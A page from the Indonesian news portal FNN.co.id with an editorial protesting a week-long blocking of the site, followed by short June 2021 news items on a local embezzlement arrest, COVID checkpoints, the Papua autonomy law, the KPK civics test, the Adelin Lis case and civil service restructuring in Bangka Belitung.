PEMBACA FNN.co.id yang budiman. Alhamdulillah, sejak Ahad, 20 Juni 2021 kemarin, kami hadir kembali di hadapan Anda. Hampir sepekan kami hilang. Tentu pembaca bertanya-tanya mengapa bisa seperti itu. Anda mungkin memperkirakan karena terjadi kerusakan teknis. Bisa saja dugaan atau perkiraan itu benar. Akan tetapi, yang paling benar, "Kami diblokir." Tidak jelas siapa yang melakukan kejahatan terhadap portal berita yang Anda dukung ini. Tidak jelas juga mengapa harus diblokir. Tidak jelas juga karena berita atau tulisan apa, sehingga FNN.co.id harus dijauhkan dari rakyat, terutama para pembaca setianya. Bukan sekali ini saja kami diblokir oleh orang-orang atau lembaga yang tidak bertanggungjawab. Kami katakan tidak bertanggungjawab, karena mereka sama sekali tidak menggunakan hak jawab dan hak koreksi atas berita atau opini yang kami turunkan. Padahal, hak jawab itu diberikan kepada pihak yang merasa dirugikan oleh suatu pemberitaan. Sedangkan hak koreksi diberikan kepada setiap orang. Hak jawab dan hak koreksi diatur dalam Undang-Undang Nomor 40 tahun 1999 tentang Pers. Andaikan hak jawab dan hak koreksi itu dilakukan oleh pihak yang merasa dirugikan, tentu kami wajib memuatnya. Sebab, sebagai portal berita resmi yang berbadan hukum, kami pun harus tunduk dan patuh pada peraturan perundang-undangan yang berlaku. Tentu, kami tidak mau "dijewer" oleh Dewan Pers, jika tidak memuat hak jawab atau hak koreksi itu. Sangat disayangkan, di era demokrasi (walau katanya sudah mulai terkikis) dan era kebebasan pers masih saja ada yang bertindak layaknya Departemen Penerangan (Deppen) di masa orde baru, yang bertugas mengeluarkan Surat Izin Usaha Penerbitan Pers (SIUPP), mengawasi dan jika perlu membreidel atau menutup surat kabar, majalah, radio dan televisi. Maklum, media online atau daring di masa itu belum ada. Hanya saja Deppen dulu lebih jelas ketimbang "Deppen" sekarang. Deppen di masa orde baru juga masih lebih santun ketimbang sekarang. Sebab, sebelum SIUPP dicabut, biasanya menteri atau direktur jenderalnya terlebih dahulu memberitahukan dengan memanggil pemimpin redaksi/penanggung jawab media yang mau dicabut izinnya itu. Nah, kantor Deppen juga jelas, di Jalan Merdeka Barat, Jakarta Pusat (sekarang menjadi kantor Kementerian Komunikasi dan Informatika. Sekarang, yang suka mengganggu portal berita itu tidak jelas. Lembaganya juga tidak jelas. Orangnya juga tidak jelas, walau sebenarnya secara kasat mata ada. Dalam kasus pemblokiran FNN.co.id yang terakhir, pemblokiran itu dilakukan atas nama PT Bina Insan Gnibul atau PT Abal-abal atau PT Labi-labi. Dikatakan abal-abal atau labi-labi, karena tidak jelas alamatnya, tidak jelas orangnya, tidak jelas lembaganya. Malah lebih cenderung dikatakan PT Hantu Balau. Parahnya lagi, jangankan peringatan, menggunakan hak jawab atau hak koreksi saja tidak dilakukan. Mengapa tidak menggunakan itu? Sebab, jika hak jawab dan koreksi digunakan, semakin jelaslah perusahaan itu. Dalam kaitan dengan FNN.co.id, kami hadir dengan moto, "Mengawal Tujuan Bernegara." Maknanya sangat luas. Penyelenggara negara yang tidak becus melaksanakan tugasnya, akan kami kritisi habis-habisan. Tentu didukung dengan data, fakta dan angka. Sebab, kami adalah pers yang bertanggungjawab. Kami adalah media resmi yang berdiri berdasarkan badan hukum dan terdaftar di Dewan Pers. Kami bukan media sosial yang seringkali menyebarkan berita bohong atau hoax, fitnah, caci-maki. Walaupun kami berada di barisan "oposisi", pantang bagi kami dan seluruh awaknya menyebarkan berita bohong, palsu, apalagi fitnah. Kami tahu ajaran agama apa pun melarang berbohong. Lebih tegas lagi ajaran agama Islam melarang fitnah. Sebab, fitnah lebih kejam dari pembunuhan. Melalui Forum Rakyat/Editorial ini, kami menggugah kesadaran semua pihak atas pentingnya menggunakan hak jawab dan hak koreksi. Sebab, jika cara-cara main blokir yang dilakukan, tentu tidak sehat di alam demokrasi dan kebebasan pers yang kita perjuangkan dan bangun. Nah, jika masih cara-cara kuno yang dilakukan, karena ingin membela rezim yang berkuasa, ingatkan roda pasti berputar. Rezim bisa setiap waktu (baik secara konstitusional maupun tidak) pasti berganti. Ingat lagu, "Badai pasti berlalu."**

Polresta Mataram Tangkap Pengawas Perusahaan Gelapkan Barang Kantor

Mataram, FNN - Tim Reserse Kriminal Kepolisian Resor Kota Mataram, Nusa Tenggara Barat menangkap pengawas (supervisor) sebuah perusahaan swasta berinisial FS (30), karena diduga menggelapkan barang-barang yang masuk dalam daftar inventaris kantor. "Yang bersangkutan kami tangkap berdasarkan laporan pihak perusahaan," kata Kasat Reskrim Polresta Mataram Kompol Kadek Adi Budi Astawa, di Mataram, Senin. Dalam laporannya, FS diduga telah menggelapkan barang-barang milik perusahaan yang menjadi fasilitas FS menduduki jabatan supervisor. Barang tersebut berupa satu unit kendaraan roda empat, empat telepon pintar, dan satu unit komputer jinjing (laptop). Sebelum akhirnya dilaporkan, pihak perusahaan dikatakan Kadek Adi, sudah memberikan peringatan kepada FS agar segera mengembalikan fasilitas kantor. Namun, FS yang pada akhirnya dipecat dari perusahaan mengaku telah menggadaikan dan menjualnya sebagian. "Mobil itu digadainya Rp10 juta, untuk laptop itu dia gadai Rp1,5 juta. Handphone sudah dia jual via online," ujarnya pula. Pelaku yang tertangkap di wilayah Dasan Cermen, Kota Mataram, Minggu (20/6), mengaku ke hadapan polisi bahwa uang hasil gadai tersebut telah habis digunakan untuk membeli narkoba dan kebutuhan harian. "Jadi pelaku ini merupakan pecandu narkoba. Uang hasil gadai dan penjualan handphone dia habiskan untuk beli sabu-sabu," ujar Kadek Adi. Akibat ulah FS yang merugikan pihak perusahaan hingga Rp80 juta, kini ditetapkan sebagai tersangka yang diduga melanggar Pasal 372 KUHP tentang Penggelapan dengan ancaman hukuman empat tahun penjara. "Dari kasus ini, yang bersangkutan kami tahan agar mempermudah proses penyidikan," katanya lagi. (sws)

Polisi Putar Balikkan 99 Kendaraan Hendak Masuk ke Bandung

Bandung, FNN - Satuan Lalu Lintas (Satlantas) Polresta Bandung mencatat telah memutarbalikkan 99 kendaraan yang hendak memasuki wilayah Kabupaten Bandung di titik penyekatan keluar Tol Cileunyi dan Tol Soreang. Kepala Satlantas Polresta Bandung Kompol Erik Bangun Prakasa mengatakan pada akhir pekan mulai dari 18-20 Juni 2021 itu ada sebanyak 674 kendaraan yang diperiksa. Dari jumlah itu, 99 kendaraan diputarbalikkan karena tidak sesuai dengan persyaratan. "Dengan adanya penyekatan dampaknya yakni menurunnya mobilitas masyarakat dari luar daerah yang akan memasuki Kabupaten Bandung," kata Erik di Bandung, Jawa Barat, Senin. Selain melakukan pemeriksaan, pihak kepolisan juga melakukan tes usap antigen secara acak bagi para pengemudi maupun penumpang angkutan umum. Selama tiga hari kegiatan penyekatan, menurutnya ada 250 orang yang dilakukan tes usap. Hasilnya ada 13 orang yang dinyatakan reaktif COVID-19 dan sisanya dinyatakan non reaktif. "Hasil rapid test, 237 orang non reaktif dan 13 orang reaktif, itu dari dua titik pemeriksaan," katanya. Dengan adanya penyekatan itu, diharapkan mobilitas masyarakat dapan menurun dan dapat menekan penyebaran COVID-19. Selain itu, tingkat kesadaran dan kepatuhan protokol kesehatan masyarakat diharapkan akan semakin meningkat. Kabupaten Bandung sendiri saat ini dinyatakan sebagai zona merah pada level kewaspadaan COVID-19. Selain Kabupaten Bandung, Kabupaten Bandung Barat juga dinyatakan masuk ke dalam zona merah. (sws)

F-PAN: Revisi UU Otsus Harus Libatkan Elemen Rakyat Papua

Jakarta, FNN - Ketua Fraksi PAN DPR RI Saleh Partaonan Daulay mengingatkan revisi Undang-Undang Nomor 21 Tahun 2001 tentang Otonomi Khusus (Otsus) Papua harus melibatkan seluruh elemen masyarakat di Papua, sehingga dapat disusun secara komprehensif dan dapat diimplementasikan secara efektif. "Bagaimana agar revisi UU Otsus Papua melibatkan rakyat Papua termasuk Majelis Rakyat Papua (MRP) dan Dewan Perwakilan Rakyat Papua (DPRP), kemudian tentu saja DPR di Provinsi Papua. Itu agar masukan-masukan langsung konkret dalam wujud nyata bisa direalisasikan secepatnya," kata Saleh saat menerima audiensi perwakilan DPRP, di Kompleks Parlemen, Jakarta, Senin. Dia mengatakan, dalam audiensi tersebut, perwakilan DPRP menyampaikan beberapa poin, pertama, menginginkan agar revisi UU Otsus Papua tidak hanya terpaku pada dua pasal yaitu Pasal 34 tentang Dana Otsus dan Pasal 76 tentang Kewenangan Pemekaran. Hal itu, menurut dia, karena persoalan di Papua sangat kompleks, menyangkut berbagai macam sendi kehidupan berbangsa-bernegara. "Karena itu mereka menginginkan semua aspek yang menjadi perhatian kita, sehingga harus menjadi bagian dari revisi UU Otsus Papua," ujarnya pula. Kedua, menurut Saleh, rakyat Papua menginginkan agar otsus ditingkatkan kualitasnya, karena mereka tidak menginginkan terlalu banyak pemekaran namun yang penting adalah peningkatan kesejahteraan. Selain itu, menurut dia lagi, persoalan dugaan pelanggaran hak asasi manusia (HAM) di Papua harus dituntaskan, sehingga rakyat Papua merasa jadi bagian integral Negara Kesatuan Republik Indonesia (NKRI). "Ketiga, bagaimana agar pelaksanaan revisi UU Otsus melibatkan rakyat Papua termasuk MRP dan DPRP serta DPR (Daerah Pemilihan) Provinsi Papua agar masukan langsung konkret," ujarnya lagi. Saleh menegaskan bahwa berbagai masukan dari DPRP tersebut akan dipelajari secara mendalam dan diperjuangkan untuk direalisasikan dalam pembahasan revisi UU Otsus Papua. (sws)

Anggota DPR Serap Aspirasi Perajin Genteng di Sampang

Jakarta, FNN - Anggota DPR RI Slamet Ariyadi menyerap aspirasi dari perajin genteng di Desa Tlambah, Kecamatan Karang Penang, Sampang, Madura, Jawa Timur. "Mereka mengeluhkan produksi genteng yang masih dilakukan secara manual dengan peralatan yang sangat terbatas," kata Slamet dalam keterangan tertulis, di Jakarta, Senin. Menurut Anggota Komisi IV DPR itu, hasil UMKM genteng dari Karang Penang sangat berkualitas, terbukti produksi genteng dari kecamatan itu sudah dikirim ke beberapa kota di Jawa Timur hingga Jakarta. Dalam kunjungan itu, wakil rakyat itu juga melihat langsung produksi genteng yang dilakukan secara manual oleh masyarakat. "Saya akan membantu dan berupaya untuk menyampaikan ke pusat perihal keluhan perajin ini, walaupun tidak terkait dengan bidang di komisi yang saya tempati sekarang," kata Slamet. Slamet menyatakan di masa pandemi, sektor UMKM merupakan salah satu penggerak perekonomian masyarakat yang masih bertahan, selain sektor pertanian. Slamet mengakui, Kecamatan Karang Penang sejak dulu sangat terkenal dengan perajin gentengnya. Produksi genteng dari kecamatan ini sangat membantu dalam meningkatkan pendapatan daerah di Kabupaten Sampang. "Kebutuhan saat ini perajin genteng yaitu mesin pengolah tanah liat, yang nantinya lebih memudahkan mereka dalam menyiapkan tanah liat untuk di proses jadi genteng," kata Slamet. (sws)

Pakar: TWK Bukan Soal Ide Siapa Tapi Amanat Undang-Undang

Jakarta, FNN - Pakar hukum tata negara, Margarito Kamis, mengatakan tes wawasan kebangsaan (TWK) bukan persoalan ide siapa yang mengusulkan tetapi merupakan amanat undang-undang. "Yang paling penting dan paling pokok bukan soal ide siapa yang melakukan itu, penanggung jawabnya ada pada yang melakukan tes. Itu kan amanat undang-undang," kata dia melalui keterangan tertulis yang diterima di Jakarta, Senin. Margarito menilai KPK tidak perlu menanggapi tudingan dari tim kuasa hukum 75 pegawai yang tidak memenuhi syarat yakni Asfinawati yang menyebut ketidakmampuan Wakil Ketua KPK Nurul Ghufron menjawab pertanyaan dari Komnas HAM soal siapa yang mengeluarkan ide TWK. Lolos atau tidak seorang pegawai dalam TWK adalah hal wajar dan yang terpenting dilakukan sesuai dengan aturan hukum. Sebab, TWK merupakan teknis aparatur negara dalam mengimplementasikan undang undang. Oleh karena itu, ia menyarankan KPK tidak perlu pusing menanggapi persoalan pegawai yang tidak lolos TWK dan lebih baik fokus pada penanganan kasus korupsi di Indonesia. "Yang lain-lain tidak usah dipikirkan termasuk 75 orang ini, kalau mereka memang tidak senang pergi saja bertempur di pengadilan biar dibuka secara objektif," kata dia. Sebelumnya, Wakil Ketua KPK Nurul Ghufron mendatangi Komnas HAM pada Kamis (17/6). Kehadirannya untuk menjelaskan beberapa hal di antaranya mengenai landasan hukum hingga legal standing KPK menyusun kebijakan pengalihan pegawai menjadi Aparatur Sipil Negara (ASN). Mulai dari tindak lanjut pasal 5 ayat 6 PP 41 tahun 2020 yang memandatkan kepada KPK menyusun peraturan komisi (Perkom) tentang pengalihan status pegawai KPK menjadi ASN. Kemudian setelah itu lahirlah Perkom nomor 1 tahun 2021 tentang pengalihan pegawai KPK menjadi ASN. "Itu mengenai kebijakan regulasinya," kata Gufron. (sws)

Sahroni: Penangkapan Adelin Bukti Keseriusan Kerja Kejaksaan

Jakarta, FNN - Wakil Ketua Komisi III DPR RI Ahmad Sahroni menilai penangkapan terpidana kasus pembalakan liar Adelin Lis merupakan bukti keseriusan Kejaksaan Agung di bawah kepemimpinan ST Burhanuddin menangkap serta memulangkan para buronan yang merugikan negara. Dia mengapresiasi kinerja Kejaksaan Agung yang berhasil menangkap Adelin yang telah menjadi buronan sejak tahun 2008. "Ini prestasi yang hebat, seperti kita tahu, Adelin Lis adalah buronan kakap dan sudah belasan tahun jadi Daftar Pencarian Orang (DPO). Ini menunjukkan kinerja kejaksaan yang memang sungguh-sungguh dalam menangkap para buronan kelas kakap di tanah air," kata Sahroni dalam keterangannya di Jakarta, Senin. Dia meminta kepada kejaksaan agar meneruskan kinerja cemerlangnya dengan terus mengejar para buronan pelanggar hukum di manapun mereka berada. Sahroni meyakini Kejaksaan Agung dengan segala sumber dayanya yang mumpuni akan mampu melaksanakan tugasnya dengan lebih baik. "Untuk kejaksaan, saya juga minta agar jangan berhenti di sini pengejarannya, tapi tolong dilanjutkan dengan pengejaran DPO-DPO lain yang saat ini masih bersembunyi," ujarnya. Adelin Lis ditangkap di Singapura pada 4 Maret 2021 karena pemalsuan paspor atas nama Hendro Leonardi. Persidangan Singapura menjatuhi hukuman kepada Adelin Lis berupa denda 14.000 dollar Singapura atau sekitar Rp140 juta dan dideportasi dari Singapura. Adelin Lis merupakan buronan kasus pembalakkan liar, sejak 2008 namanya masuk dalam daftar 'red notice' Interpol. Untuk selanjutnya, Adelin Lis akan menjalani ekseskui atas putusan Mahkamah Agung yang menjatuhkan pidana penjara 10 tahun dan denda Rp1 miliar subsider enam bulan kuruangan, dengan denda uang pengganti Rp119,8 miliar dan dana reboisasi 2,839 juta dollar AS. Sebelum dieksekusi Adelin Lis menjalani masa isolasi selama 14 dan ditahan di Rumah Tanahan Negara (Rutan) Salemba Cabang Kejaksaan Agung. (sws)

Puan Usulkan PSBB Terbatas atau Pengetatan PPKM Mikro Untuk Zona Merah

Jakarta, FNN - Ketua DPR RI Puan Maharani mendesak pemerintah segera meningkatkan upaya pengendalian COVID-19 dengan memberlakukan pembatasan sosial berskala besar (PSBB) terbatas atau pengetatan pemberlakuan pembatasan kegiatan masyarakat (PPKM) berbasis mikro di zona merah COVID-19. "Pemerintah harus segera bertindak untuk mengatasi lonjakan kasus COVID-19 yang semakin mengkhawatirkan. Berlakukan PSBB secara terbatas untuk daerah-daerah zona merah, atau pengetatan PPKM mikro," kata Puan dalam keterangannya di Jakarta, Senin. Dia mengatakan, PSBB dapat diterapkan di daerah yang masuk zona merah penyebaran COVID-19 sementara itu untuk daerah lainnya dapat diketatkan pemberlakuan pembatasan kegiatan masyarakat (PPKM) berbasis mikro. Puan menegaskan bahwa pemerintah pusat harus dapat menentukan langkah penanganan yang serius dan mendesak, serta memastikan koordinasi dan pengawasan ketat berjalan dalam penanganan COVID-19 khususnya di daerah zona merah. Mantan Menko Pembangunan Manusia dan Kebudayaan itu menilai ledakan kasus COVID-19 di Pulau Jawa semakin mengkhawatirkan karena banyak jumlah penduduk dengan mobilitas tinggi, serta penerapan protokol kesehatan yang belum optimal. "Terlebih adanya kelompok masyarakat sipil yang meneken petisi online yang mendesak pemerintah melakukan karantina wilayah atau 'lockdown' serta tuntutan lainnya," ujarnya. Dia mengatakan, sesuai Undang-Undang Nomor 6 Tahun 2018 tentang Kekarantinaan Kesehatan disebutkan bahwa pemerintah memiliki kewenangan mengambil langkah pembatasan sosial atau bahkan "lockdown" untuk mengatasi pandemi. Menurut dia, sangat diperlukan secara cepat arah kebijakan dari pemerintah pusat karena sebaran COVID-19 di berbagai daerah atau lintas daerah. "Tombol bahaya harus dinyalakan untuk kondisi darurat ini dan meningkatkan kesadaran terkait bahaya lonjakan kasus COVID-19," katanya. (sws)

Anggota DPRD Palembang Minta Pemkot Tuntaskan Sengketa Pulau Kemaro

Palembang, FNN - Anggota DPRD Kota Palembang, Sumatera Selatan meminta pemerintah kota (pemkot) setempat menuntaskan sengketa Pulau Kemaro dengan zuriah atau keturunan ulama legendaris dan kharismatik Ki Marogan. "Sengketa Pulau Kemaro harus dituntaskan, jika belum Pemkot Palembang jangan melakukan pembangunan apa pun di tempat yang akan dijadikan pusat rekreasi dan wisata air itu," kata Anggota DPRD Palembang Sutami, di Palembang, Senin. Menurut dia, pembangunan yang dilakukan di lahan bersengketa bisa menghabiskan anggaran dana daerah, tanpa memberikan manfaat bagi warga Bumi Sriwijaya ini. Bangunan atau fasilitas apa pun yang dibangun di Pulau Kemaro tidak akan bisa dimanfaatkan dengan baik, karena zuriah Ki Marogan yang juga merasa memiliki hak atas lahan di kawasan itu pasti menolak tanahnya digunakan orang lain tanpa izin mereka. Untuk mencegah terjadinya konflik yang lebih besar dan timbulnya kerugian kedua belah pihak yang bersengketa, pihaknya berupaya memfasilitasi penyelesaian permasalahan tersebut, kata Sutami. Pendamping zuriah Ki Marogan dari Komite Reforma Agraria Sumatera Selatan (Krass) Dedek Chaniago mengatakan pihaknya menginginkan kasus sengketa lahan sekitar 25 hektare yang akan dibangun Pemkot Palembang bersama investor kawasan wisata seperti Taman Impian Ancol Jakarta, diselesaikan secara damai. Niat baik zuriah ulama legendaris dan kharismatik Kiai Mgs Abdul Hamid (Ki Marogan) itu telah disampaikan dalam berbagai kesempatan kepada pihak Pemkot Palembang dan pihak DPRD setempat, kata aktivis Krass. Wali Kota Palembang Harnojoyo sebelumnya menyatakan pihaknya menyerahkan klaim kepemilikan Pulau Kemaro oleh keturunan Ki Marogan ke pengadilan, karena mereka lebih fokus menggarap penataan kawasan tersebut. Pemkot Palembang memiliki sertifikat resmi sebagai pemilik lahan yang akan dibangun kawasan wisata air di Pulau Kemaro. Pemerintah Kota Palembang sedang meningkatkan sinergi untuk menata Pulau Kemaro seluas 25 ha bersama investor, ujar Harnojoyo. (sws)

Ketua DPR: Pancasila Harus Teraktualisasi Dalam Pembentukan UU

Jakarta, FNN - Ketua DPR RI Puan Maharani mengatakan nilai-nilai Pancasila harus teraktualisasi dalam setiap proses pembuatan peraturan perundang-undangan yang "embedded" dalam setiap tahapannya. "Tantangan bagi pembentuk peraturan perundang-undangan adalah bagaimana menempatkan Pancasila teraktualisasi dalam proses pembentukan peraturan perundang-undangan yang ‘embedded’ dalam setiap tahapannya," kata Puan saat menghadiri penandatanganan nota kesepahaman antara DPR-Badan Pembinaan Ideologi Pancasila ( BPIP), di Kompleks Parlemen, Jakarta, Senin. Menurut dia, norma-norma yang dibuat dalam peraturan perundang-undangan, selain tidak bertentangan dengan Pancasila, juga harus menjiwai dan mencerminkan nilai-nilai yang ada dalam Pancasila. Dia menilai, untuk memperkuat kehadiran Pancasila dalam pembentukan peraturan perundang-undangan, maka dalam prosesnya perlu dilakukan "preview" nilai-nilai Pancasila dalam setiap rancangan undang-undang (RUU) yang diusulkan DPR RI maupun Pemerintah. "Mewujudkan Pancasila dalam tatanan berbangsa dan bernegara, membutuhkan politik negara dalam pengembangan hukum nasional. Politik negara tersebut diarahkan untuk menjadikan Pancasila sebagai dasar dan tujuan dari tiap hukum di Indonesia," ujarnya. Dia menjelaskan, dalam Pasal 2 Undang-Undang Nomor 12 Tahun 2011 tentang Pembentukan Peraturan Perundang-Undangan juga disebutkan bahwa Pancasila merupakan sumber segala sumber hukum negara. Puan mengatakan, Pancasila sebagai jiwa bangsa Indonesia jangan hanya menjadi slogan, namun harus mengisi seluruh tatanan politik, sosial, ekonomi, budaya, serta dalam menjalankan kehidupan berbangsa dan bernegara. "Kita harus bangga memiliki Pancasila sebagai ideologi bangsa Indonesia, sebagai bagian dari identitas bangsa kita, DNA bangsa kita," katanya pula. Selain itu, dia menyambut baik penandatanganan nota kesepahaman antara BPIP dengan Dewan Perwakilan Rakyat Republik Indonesia (DPR RI). Menurut dia, semangat dari nota kesepahaman tersebut adalah untuk memastikan ada napas Pancasila dalam setiap peraturan perundang-undangan yang akan lahir di parlemen. Puan berharap BPIP terus melakukan sosialisasi dan kerja sama dengan berbagai pihak untuk menguatkan Pancasila sebagai bintang penuntun kehidupan berbangsa dan bernegara. "BPIP perlu menjadi garda terdepan dalam menjaga dan mengembangkan pemikiran-pemikiran yang memperkuat Pancasila," katanya. Dalam acara tersebut juga hadir antara lain Kepala BPIP Yudian Wahyudi, dan Wakil Ketua Dewan Pengarah BPIP Try Sutrisno. Selain itu, juga dihadiri Wakil Ketua DPR RI Muhaimin Iskandar dan Rachmat Gobel, Wakil Ketua MPR RI Ahmad Basarah, dan Ketua Fraksi PDI Perjuangan DPR RI Utut Adianto. (sws)

BPIP-DPR Tingkatkan Kerjasama Aktualisasi Nilai-Nilai Pancasila

Jakarta, FNN - Badan Pembinaan Ideologi Pancasila (BPIP) dan Dewan Perwakilan Rakyat (DPR) sepakat untuk meningkatkan kerjasama dalam mengaktualisasi nilai-nilai Pancasila khususnya dalam pembentukan peraturan perundang-undangan. Kerjasama tersebut tertuang dalam Nota Kesepahaman kedua lembaga yang ditandatangani Kepala BPIP Yudian Wahyudi dan Ketua DPR RI Puan Maharani di Kompleks Parlemen, Jakarta, Senin. "Melalui penandatanganan Nota Kesepahaman ini , saya berharap dapat mewujudkan kerjasama yang baik dalam rangka institusionalisasi dan internalisasi nilai-nilai Pancasila dalam pembentukan peraturan perundang-undangan," kata Yudian dalam penandatanganan Nota Kesepahaman di Kompleks Parlemen, Jakarta, Senin. Dia mengatakan internalisasi nilai-nilai Pancasila dalam pembentukan peraturan perundang-undangan itu seperti pelaksanaan penelitian, pengkajian, sosialisasi, dan kegiatan lainnya dalam rangka penguatan nilai-nilai Pancasila. Menurut dia, kalau hal tersebut bisa dilakukan maka akan terjalin kolaborasi yang kokoh dalam mengaktualisasikan nilai-nilai Pancasila berdasarkan semangat gotong royong sesuai tugas dan fungsi DPR RI dan BPIP RI. Yudian berharap kerjasama antara BPIP-DPR RI dapat memberikan rekomendasi berdasarkan hasil kajian terhadap kebijakan atau regulasi yang berlandaskan Pancasila kepada lembaga tinggi negara, kementerian/lembaga, pemerintahan daerah, organisasi sosial politik, dan komponen masyarakat. Dalam kesempatan tersebut, Ketua DPR RI Puan Maharani menyambut baik penandatanganan nota kesepahaman antara BPIP dan DPR RI. Menurut dia, semua pihak harus ingat bahwa semangat Nota Kesepahaman tersebut untuk memastikan ada nafas Pancasila dalam setiap peraturan perundang-undangan. "Untuk perkuat kehadiran Pancasila dalam pembentukan peraturan perundang-undangan, dalam prosesnya perlu dilakukan 'review' nilai-nilai Pancasila dalam setiap RUU yang diusulkan DPR dan pemerintah untuk menjamin tidak ada norma dalam UU yang bertentangan dengan Pancasila," ujarnya. Puan menilai BPIP perlu menjadi garda terdepan untuk menjaga dan mengembangkan pemikiran yang memperkuat Pancasila. Menurut dia, semua pihak harus yakin bahwa selama Pancasila ada di hati orang Indonesia maka selama itu, Indonesia akan terus ada. Acara tersebut dihadiri antara lain Ketua DPR RI Puan Maharani, Kepala BPIP Yudian Wahyudi dan jajarannya, Wakil Ketua DPR RI Muhaimin Iskandar dan Rachmat Gobel, Wakil Ketua MPR RI Ahmad Basarah, dan Ketua Fraksi PDI Perjuangan DPR RI Utut Adianto. (sws)

Babel Setarakan Jabatan 5.463 ASN dari Struktural ke Fungsional

Pangkalpinang, FNN - Pemerintah Provinsi Kepulauan Bangka Belitung akan menyetarakan jabatan 5.463 aparatur sipil negara (ASN) dari struktural ke fungsional, sebagai langkah pemerintah daerah meningkatkan kualitas dan profesional ASN dalam mempercepat pembangunan. "Kita bersama BKPSDM telah memetakan pejabat struktural dan fungsional sesuai dengan kompetensi dan latar belakang pendidikan, agar nantinya tidak ditolak oleh KemenpanRB," kata Kepala Biro Organisasi Pemprov Kepulauan Babel Ellyana di Pangkalpinang, Senin. Ia mengatakan dalam mempercepat penyederhanaan birokrasi di lingkungan Pemprov Kepulauan Babel ini, pihaknya bekerja sama dengan Badan Kepegawaian dan Pengembangan Sumber Daya Manusia (BKPSDM) dan 5.463 ASN yang akan disederhanakan sesuai dengan kompetensinya. "Ada beberapa OPD yang tidak memiliki kasi, ada yang memiliki satu subbagian (subbag), dan OPD lainnya memiliki dua subbag atau lebih. Subbag umum adalah satu-satunya subbag yang tidak akan dialihkan. Jadi, model yang akan diterapkan akan berbeda pada tiap OPD," katanya. Ia menjelaskan saat ini Babel memiliki 18 dinas, 6 badan, 1 Sekretariat Dewan Perwakilan Rakyat Daerah (DPRD), 1 sekretariat (Setda) yang terdiri dari 7 biro, 1 inspektorat dan beberapa Cabang Dinas (Capdin) serta 36 Unit Pelaksana Teknis Daerah (UPTD). Untuk UPTD cabang dinas, lanjutnya tidak mengalami perubahan struktur organisasi dan Badan Penghubung menjadi satu-satunya badan yang tidak ada perubahan struktur. Menurut dia, berdasarkan model-model yang diusulkan oleh KemenpanRB, banyak eselon IV yang akan difungsionalkan melalui jalur penyetaraan jabatan yang akan diselesaikan oleh KemenpanRB. "Untuk pejabat struktural mana yang paling berpotensi untuk disetarakan menjadi fungsional, dan pejabat yang tetap menjadi struktural akan ditentukan oleh masing-masing OPD, yang kemudian disetarakan oleh BKPSDM dengan berpijak pada struktur organisasi baru," katanya. Kepala BKPSDM Provinsi Kepulauan Babel Susanti mengatakan jabatan fungsional itu bukanlah jabatan yang jelek dan buangan. Melainkan sesuai amanah undang-undang nomor 5 tahun 2014 tentang ASN bahwa negara memang membutuhkan tenaga-tenaga profesional. "Saat ini, negara memang membutuhkan tenaga-tenaga profesional dan memperkecil jabatan administrator dengan memperbanyak jabatan fungsional. Ditambah dengan jabatan P3K yakni pejabat pemerintah dengan perjanjian kontrak yang akan ditambah. Artinya, ini menggambarkan profesionalitas dari ASN semakin ditingkatkan," ujarnya. (sws)

Kemendagri Desak Babel Selesaikan Penyetaraan Jabatan ASN

Pangkalpinang, FNN - Kementerian Dalam Negeri (Kemendagri) dan Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Kemenpan-RB) mendesak Pemerintah Provinsi Kepulauan Bangka Belitung segera menyelesaikan proses penyetaraan jabatan aparatur sipil negara dari struktural ke fungsional. "Kami minta seluruh kepala daerah segera menyampaikan struktur organisasi dan nama pejabat yang akan dialihkan dari struktural ke fungsional paling lambat 30 Juni tahun ini," kata Wakil Gubernur Kepulauan Babel Abdul Fatah di Pangkalpinang, Senin. Ia mengatakan dalam mempercepat proses penyetaraan jabatan ASN dari struktural ke fungsional ini, Pemprov Kepulauan Babel telah menggelar rapat pemantapan, penyederhanaan struktur organisasi yang dihadiri seluruh kepala organisasi perangkat daerah. "Kami akan menghilangkan beberapa tataran struktural eselon III dan IV, agar bisa disetarakan dengan jabatan fungsional dengan latar pendidikan yang tepat," ujarnya. Menurut dia, penyederhanaan struktur organisasi menuju kesetaraan jabatan agar tidak ada tugas dan fungsi ASN fungsional yang terabaikan. Jadi, pejabat fungsional akan bekerja sesuai dengan tugas dan fungsi serta latar belakang pendidikan yang merujuk pada rumah jabatan yang telah disusun. "Hal ini akan dibahas secara rinci untuk tiap OPD, agar tidak ada pegawai yang merasa tidak ada kesesuaian," katanya. Kepala Biro Organisasi Peprov Kepulauan Babel Ellyana menjelaskan penyederhanaan birokrasi ini telah digaungkan sejak dua tahun yang lalu, namun pada bulan Mei 2021, secara tegas Babel diperintahkan untuk segera merealisasikannya. "Proses penyederhanaan ini kami garap secara tandem dengan Badan Kepegawaian dan Pengembangan Sumber Daya Manusia (BKPSDM) karena berpacu dengan waktu. Jadi, kami berharap kepada semua kepala perangkat daerah agar menyampaikan struktur organisasi dan nama pejabat yang akan dialihkan paling lambat 30 Juni 2021," katanya. Oleh karena itu, katanya, jika pihaknya menyampaikan di atas tanggal tersebut, maka yang bersangkutan harus melalui proses biasa untuk dapat menjadi tenaga fungsional. "Penyederhanaan birokrasi ini melalui tiga tahapan, yang pertama adalah menyederhanakan struktur organisasi, struktur organisasi tiap OPD akan berbeda sesuai dengan model dari MenpanRB. Misal, model struktur organisasi Satpol PP akan berbeda dengan Inspektorat," katanya. Tahap selanjutnya, menyetarakan jabatan, yakni perpindahan jabatan eselon IV dan sebagian eselon III ke jabatan fungsional. Sedangkan pada tahapan ketiga, melakukan perubahan tugas dan fungsi dari masing-masing ASN," paparnya. (sws)

Tujuh Menteri Kunjungi Maluku Utara

